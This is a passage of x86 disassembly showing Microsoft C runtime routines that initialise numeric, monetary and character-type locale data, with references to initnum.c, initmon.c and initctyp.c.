push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 5Ch
push edx
push 4Dh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 60h
push edx
push 4Eh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 64h
push edx
push 4Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 68h
push edx
push 38h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 6Ch
push edx
push 39h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 70h
push edx
push 3Ah
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 74h
push edx
push 3Bh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 78h
push edx
push 3Ch
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 7Ch
push edx
push 3Dh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 80h
push edx
push 3Eh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 84h
push edx
push 3Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 88h
push edx
push 40h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 8Ch
push edx
push 41h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 90h
push edx
push 42h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 94h
push edx
push 43h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 98h
push edx
push 28h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 9Ch
push edx
push 29h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0A0h
push edx
push 1Fh
mov eax, [ebp+var_8]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0A4h
push edx
push 20h
mov eax, [ebp+var_8]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0A8h
push edx
push 1003h
mov eax, [ebp+var_8]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
loc_42AF3B: ; CODE XREF: sub_42A9B0+2Dj
mov esp, ebp
pop ebp
retn
sub_42A9B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AF40 proc near ; CODE XREF: sub_42A8D0+50p
; sub_42A8D0+7Cp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jnz short loc_42AF4E
jmp loc_42B249
; ---------------------------------------------------------------------------
loc_42AF4E: ; CODE XREF: sub_42AF40+7j
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call sub_415860
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+8]
push eax
call sub_415860
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
call sub_415860
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ecx
call sub_415860
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
call sub_415860
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+18h]
push edx
call sub_415860
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_415860
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+20h]
push eax
call sub_415860
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
call sub_415860
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
push ecx
call sub_415860
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
push eax
call sub_415860
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
push edx
call sub_415860
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+34h]
push ecx
call sub_415860
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
push eax
call sub_415860
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+38h]
push edx
call sub_415860
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+3Ch]
push ecx
call sub_415860
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+40h]
push eax
call sub_415860
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+44h]
push edx
call sub_415860
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+48h]
push ecx
call sub_415860
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+4Ch]
push eax
call sub_415860
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+50h]
push edx
call sub_415860
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+54h]
push ecx
call sub_415860
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+58h]
push eax
call sub_415860
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+5Ch]
push edx
call sub_415860
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+60h]
push ecx
call sub_415860
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+64h]
push eax
call sub_415860
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+68h]
push edx
call sub_415860
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+6Ch]
push ecx
call sub_415860
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+70h]
push eax
call sub_415860
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+74h]
push edx
call sub_415860
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+78h]
push ecx
call sub_415860
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+7Ch]
push eax
call sub_415860
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+80h]
push edx
call sub_415860
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+84h]
push ecx
call sub_415860
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+88h]
push eax
call sub_415860
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+8Ch]
push edx
call sub_415860
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+90h]
push ecx
call sub_415860
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+94h]
push eax
call sub_415860
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+98h]
push edx
call sub_415860
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+9Ch]
push ecx
call sub_415860
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+0A0h]
push eax
call sub_415860
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0A4h]
push edx
call sub_415860
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+0A8h]
push ecx
call sub_415860
add esp, 8
loc_42B249: ; CODE XREF: sub_42AF40+9j
pop ebp
retn
sub_42AF40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B250 proc near ; DATA XREF: ___:004443B8o
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
xor eax, eax
mov ax, word_4DB3FE
mov [ebp+var_4], eax
cmp dword_4DB1C0, 0
jz loc_42B3CA
push offset dword_4DB3CC
push 0Eh
mov ecx, [ebp+var_4]
push ecx
push 1
call sub_42F960
add esp, 10h
mov edx, [ebp+var_8]
or edx, eax
mov [ebp+var_8], edx
push offset dword_4DB3D0
push 0Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
push offset dword_4DB3D4
push 10h
mov edx, [ebp+var_4]
push edx
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, dword_4DB3D4
push edx
call sub_42B500
add esp, 4
cmp [ebp+var_8], 0
jz short loc_42B339
push 2
mov eax, dword_4DB3CC
push eax
call sub_415860
add esp, 8
push 2
mov ecx, dword_4DB3D0
push ecx
call sub_415860
add esp, 8
push 2
mov edx, dword_4DB3D4
push edx
call sub_415860
add esp, 8
mov dword_4DB3CC, 0
mov dword_4DB3D0, 0
mov dword_4DB3D4, 0
or eax, 0FFFFFFFFh
jmp loc_42B4F2
; ---------------------------------------------------------------------------
loc_42B339: ; CODE XREF: sub_42B250+8Fj
mov eax, off_444E98
cmp dword ptr [eax], offset dword_444E60
jz short loc_42B380
push 2
mov ecx, off_444E98
mov edx, [ecx]
push edx
call sub_415860
add esp, 8
push 2
mov eax, off_444E98
mov ecx, [eax+4]
push ecx
call sub_415860
add esp, 8
push 2
mov edx, off_444E98
mov eax, [edx+8]
push eax
call sub_415860
add esp, 8
loc_42B380: ; CODE XREF: sub_42B250+F4j
mov ecx, off_444E98
mov edx, dword_4DB3CC
mov [ecx], edx
mov eax, off_444E98
mov ecx, dword_4DB3D0
mov [eax+4], ecx
mov edx, off_444E98
mov eax, dword_4DB3D4
mov [edx+8], eax
mov ecx, off_444E98
mov edx, [ecx]
mov al, [edx]
mov byte_443B74, al
mov dword_443B78, 1
xor eax, eax
jmp loc_42B4F2
; ---------------------------------------------------------------------------
loc_42B3CA: ; CODE XREF: sub_42B250+1Fj
push 2
mov ecx, dword_4DB3CC
push ecx
call sub_415860
add esp, 8
push 2
mov edx, dword_4DB3D0
push edx
call sub_415860
add esp, 8
push 2
mov eax, dword_4DB3D4
push eax
call sub_415860
add esp, 8
mov dword_4DB3CC, 0
mov dword_4DB3D0, 0
mov dword_4DB3D4, 0
push 88h
push offset aInitnum_c ; "initnum.c"
push 2
push 2
call sub_414DD0
add esp, 10h
mov ecx, off_444E98
mov [ecx], eax
mov edx, off_444E98
cmp dword ptr [edx], 0
jnz short loc_42B44B
or eax, 0FFFFFFFFh
jmp loc_42B4F2
; ---------------------------------------------------------------------------
loc_42B44B: ; CODE XREF: sub_42B250+1F1j
push offset a__1 ; "."
mov eax, off_444E98
mov ecx, [eax]
push ecx
call sub_4184C0
add esp, 8
push 8Dh
push offset aInitnum_c ; "initnum.c"
push 2
push 2
call sub_414DD0
add esp, 10h
mov edx, off_444E98
mov [edx+4], eax
mov eax, off_444E98
cmp dword ptr [eax+4], 0
jnz short loc_42B48F
or eax, 0FFFFFFFFh
jmp short loc_42B4F2
; ---------------------------------------------------------------------------
loc_42B48F: ; CODE XREF: sub_42B250+238j
mov ecx, off_444E98
mov edx, [ecx+4]
mov byte ptr [edx], 0
push 92h
push offset aInitnum_c ; "initnum.c"
push 2
push 2
call sub_414DD0
add esp, 10h
mov ecx, off_444E98
mov [ecx+8], eax
mov edx, off_444E98
cmp dword ptr [edx+8], 0
jnz short loc_42B4CB
or eax, 0FFFFFFFFh
jmp short loc_42B4F2
; ---------------------------------------------------------------------------
loc_42B4CB: ; CODE XREF: sub_42B250+274j
mov eax, off_444E98
mov ecx, [eax+8]
mov byte ptr [ecx], 0
mov edx, off_444E98
mov eax, [edx]
mov cl, [eax]
mov byte_443B74, cl
mov dword_443B78, 1
xor eax, eax
loc_42B4F2: ; CODE XREF: sub_42B250+E4j
; sub_42B250+175j ...
mov esp, ebp
pop ebp
retn
sub_42B250 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B500 proc near ; CODE XREF: sub_42B250+83p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
loc_42B504: ; CODE XREF: sub_42B500:loc_42B577j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42B579
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
cmp eax, 30h
jl short loc_42B53D
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 39h
jg short loc_42B53D
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
sub ecx, 30h
mov edx, [ebp+arg_0]
mov [edx], cl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_42B577
; ---------------------------------------------------------------------------
loc_42B53D: ; CODE XREF: sub_42B500+17j
; sub_42B500+22j
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 3Bh
jnz short loc_42B56E
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_42B54E: ; CODE XREF: sub_42B500+6Aj
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov al, [edx+1]
mov [ecx], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_42B54E
jmp short loc_42B577
; ---------------------------------------------------------------------------
loc_42B56E: ; CODE XREF: sub_42B500+46j
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_42B577: ; CODE XREF: sub_42B500+3Bj
; sub_42B500+6Cj
jmp short loc_42B504
; ---------------------------------------------------------------------------
loc_42B579: ; CODE XREF: sub_42B500+Cj
mov esp, ebp
pop ebp
retn
sub_42B500 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B580 proc near ; DATA XREF: ___:004443ACo
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp dword_4DB1BC, 0
jz loc_42B64C
push 4Ah
push offset aInitmon_c ; "initmon.c"
push 2
push 30h
push 1
call sub_4151E0
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_42B5B9
mov eax, 1
jmp loc_42B6AC
; ---------------------------------------------------------------------------
loc_42B5B9: ; CODE XREF: sub_42B580+2Dj
mov eax, [ebp+var_4]
push eax
call sub_42B6B0
add esp, 4
test eax, eax
jz short loc_42B5ED
mov ecx, [ebp+var_4]
push ecx
call sub_42B940
add esp, 4
push 2
mov edx, [ebp+var_4]
push edx
call sub_415860
add esp, 8
mov eax, 1
jmp loc_42B6AC
; ---------------------------------------------------------------------------
loc_42B5ED: ; CODE XREF: sub_42B580+47j
mov eax, [ebp+var_4]
mov ecx, off_444E98
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_4]
mov ecx, off_444E98
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_4]
mov ecx, off_444E98
mov edx, [ecx+8]
mov [eax+8], edx
mov eax, [ebp+var_4]
mov off_444E98, eax
mov ecx, dword_4DB3D8
push ecx
call sub_42B940
add esp, 4
push 2
mov edx, dword_4DB3D8
push edx
call sub_415860
add esp, 8
mov eax, [ebp+var_4]
mov dword_4DB3D8, eax
xor eax, eax
jmp short loc_42B6AC
; ---------------------------------------------------------------------------
loc_42B64C: ; CODE XREF: sub_42B580+Bj
mov ecx, off_444E98
mov edx, [ecx]
mov off_444E68, edx
mov eax, off_444E98
mov ecx, [eax+4]
mov off_444E6C, ecx
mov edx, off_444E98
mov eax, [edx+8]
mov off_444E70, eax
mov off_444E98, offset off_444E68
mov ecx, dword_4DB3D8
push ecx
call sub_42B940
add esp, 4
push 2
mov edx, dword_4DB3D8
push edx
call sub_415860
add esp, 8
mov dword_4DB3D8, 0
xor eax, eax
loc_42B6AC: ; CODE XREF: sub_42B580+34j
; sub_42B580+68j ...
mov esp, ebp
pop ebp
retn
sub_42B580 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B6B0 proc near ; CODE XREF: sub_42B580+3Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
xor eax, eax
mov ax, word_4DB3F8
mov [ebp+var_4], eax
cmp [ebp+arg_0], 0
jnz short loc_42B6D6
or eax, 0FFFFFFFFh
jmp loc_42B8B9
; ---------------------------------------------------------------------------
loc_42B6D6: ; CODE XREF: sub_42B6B0+1Cj
mov ecx, [ebp+arg_0]
add ecx, 0Ch
push ecx
push 15h
mov edx, [ebp+var_4]
push edx
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 10h
push edx
push 14h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 14h
push edx
push 16h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 18h
push edx
push 17h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 1Ch
push edx
push 18h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
push eax
call sub_42B8C0
add esp, 4
mov ecx, [ebp+arg_0]
add ecx, 20h
push ecx
push 50h
mov edx, [ebp+var_4]
push edx
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 24h
push edx
push 51h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 28h
push edx
push 1Ah
mov eax, [ebp+var_4]
push eax
push 0
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 29h
push edx
push 19h
mov eax, [ebp+var_4]
push eax
push 0
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Ah
push edx
push 54h
mov eax, [ebp+var_4]
push eax
push 0
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Bh
push edx
push 55h
mov eax, [ebp+var_4]
push eax
push 0
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Ch
push edx
push 56h
mov eax, [ebp+var_4]
push eax
push 0
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Dh
push edx
push 57h
mov eax, [ebp+var_4]
push eax
push 0
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Eh
push edx
push 52h
mov eax, [ebp+var_4]
push eax
push 0
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Fh
push edx
push 53h
mov eax, [ebp+var_4]
push eax
push 0
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
loc_42B8B9: ; CODE XREF: sub_42B6B0+21j
mov esp, ebp
pop ebp
retn
sub_42B6B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B8C0 proc near ; CODE XREF: sub_42B6B0+C8p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
loc_42B8C4: ; CODE XREF: sub_42B8C0:loc_42B937j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42B939
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
cmp eax, 30h
jl short loc_42B8FD
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 39h
jg short loc_42B8FD
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
sub ecx, 30h
mov edx, [ebp+arg_0]
mov [edx], cl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_42B937
; ---------------------------------------------------------------------------
loc_42B8FD: ; CODE XREF: sub_42B8C0+17j
; sub_42B8C0+22j
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 3Bh
jnz short loc_42B92E
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_42B90E: ; CODE XREF: sub_42B8C0+6Aj
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov al, [edx+1]
mov [ecx], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_42B90E
jmp short loc_42B937
; ---------------------------------------------------------------------------
loc_42B92E: ; CODE XREF: sub_42B8C0+46j
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_42B937: ; CODE XREF: sub_42B8C0+3Bj
; sub_42B8C0+6Cj
jmp short loc_42B8C4
; ---------------------------------------------------------------------------
loc_42B939: ; CODE XREF: sub_42B8C0+Cj
mov esp, ebp
pop ebp
retn
sub_42B8C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B940 proc near ; CODE XREF: sub_42B580+4Dp
; sub_42B580+A7p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jnz short loc_42B94E
jmp loc_42B9D1
; ---------------------------------------------------------------------------
loc_42B94E: ; CODE XREF: sub_42B940+7j
mov eax, [ebp+arg_0]
cmp dword ptr [eax+0Ch], offset dword_4DB438
jz short loc_42B9D1
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
call sub_415860
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ecx
call sub_415860
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
call sub_415860
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+18h]
push edx
call sub_415860
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
push ecx
call sub_415860
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+20h]
push eax
call sub_415860
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
call sub_415860
add esp, 8
loc_42B9D1: ; CODE XREF: sub_42B940+9j
; sub_42B940+18j
pop ebp
retn
sub_42B940 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B9E0 proc near ; DATA XREF: ___:004443A0o
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_E = byte ptr -0Eh
push ebp
mov ebp, esp
sub esp, 30h
mov [ebp+var_2C], 0
mov [ebp+var_28], 0
cmp dword_4DB1B8, 0
jz loc_42BD31
cmp dword_4DB1C8, 0
jnz short loc_42BA30
push offset dword_4DB1C8
push 1004h
xor eax, eax
mov ax, word_4DB3F0
push eax
push 0
call sub_42F960
add esp, 10h
test eax, eax
jz short loc_42BA30
jmp loc_42BCF2
; ---------------------------------------------------------------------------
loc_42BA30: ; CODE XREF: sub_42B9E0+28j
; sub_42B9E0+49j
push 5Ch
push offset aInitctyp_c ; "initctyp.c"
push 2
push 202h
call sub_414DD0
add esp, 10h
mov [ebp+var_30], eax
push 5Eh
push offset aInitctyp_c ; "initctyp.c"
push 2
push 202h
call sub_414DD0
add esp, 10h
mov [ebp+var_1C], eax
push 60h
push offset aInitctyp_c ; "initctyp.c"
push 2
push 101h
call sub_414DD0
add esp, 10h
mov [ebp+var_2C], eax
push 62h
push offset aInitctyp_c ; "initctyp.c"
push 2
push 202h
call sub_414DD0
add esp, 10h
mov [ebp+var_28], eax
cmp [ebp+var_30], 0
jz short loc_42BAAC
cmp [ebp+var_1C], 0
jz short loc_42BAAC
cmp [ebp+var_2C], 0
jz short loc_42BAAC
cmp [ebp+var_28], 0
jnz short loc_42BAB1
loc_42BAAC: ; CODE XREF: sub_42B9E0+B8j
; sub_42B9E0+BEj ...
jmp loc_42BCF2
; ---------------------------------------------------------------------------
loc_42BAB1: ; CODE XREF: sub_42B9E0+CAj
mov ecx, [ebp+var_2C]
mov [ebp+var_18], ecx
mov [ebp+var_20], 0
jmp short loc_42BAC9
; ---------------------------------------------------------------------------
loc_42BAC0: ; CODE XREF: sub_42B9E0+103j
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
loc_42BAC9: ; CODE XREF: sub_42B9E0+DEj
cmp [ebp+var_20], 100h
jge short loc_42BAE5
mov eax, [ebp+var_18]
mov cl, byte ptr [ebp+var_20]
mov [eax], cl
mov edx, [ebp+var_18]
add edx, 1
mov [ebp+var_18], edx
jmp short loc_42BAC0
; ---------------------------------------------------------------------------
loc_42BAE5: ; CODE XREF: sub_42B9E0+F0j
lea eax, [ebp+var_14]
push eax
mov ecx, dword_4DB1C8
push ecx
nop
call near ptr 28B0000h
test eax, eax
jnz short loc_42BAFF
jmp loc_42BCF2
; ---------------------------------------------------------------------------
loc_42BAFF: ; CODE XREF: sub_42B9E0+118j
cmp [ebp+var_14], 2
jbe short loc_42BB0A
jmp loc_42BCF2
; ---------------------------------------------------------------------------
loc_42BB0A: ; CODE XREF: sub_42B9E0+123j
mov edx, [ebp+var_14]
and edx, 0FFFFh
mov dword_443B70, edx
cmp dword_443B70, 1
jle short loc_42BB79
lea eax, [ebp+var_E]
mov [ebp+var_18], eax
jmp short loc_42BB33
; ---------------------------------------------------------------------------
loc_42BB2A: ; CODE XREF: sub_42B9E0:loc_42BB77j
mov ecx, [ebp+var_18]
add ecx, 2
mov [ebp+var_18], ecx
loc_42BB33: ; CODE XREF: sub_42B9E0+148j
mov edx, [ebp+var_18]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_42BB79
mov ecx, [ebp+var_18]
xor edx, edx
mov dl, [ecx+1]
test edx, edx
jz short loc_42BB79
mov eax, [ebp+var_18]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_20], ecx
jmp short loc_42BB5F
; ---------------------------------------------------------------------------
loc_42BB56: ; CODE XREF: sub_42B9E0+195j
mov edx, [ebp+var_20]
add edx, 1
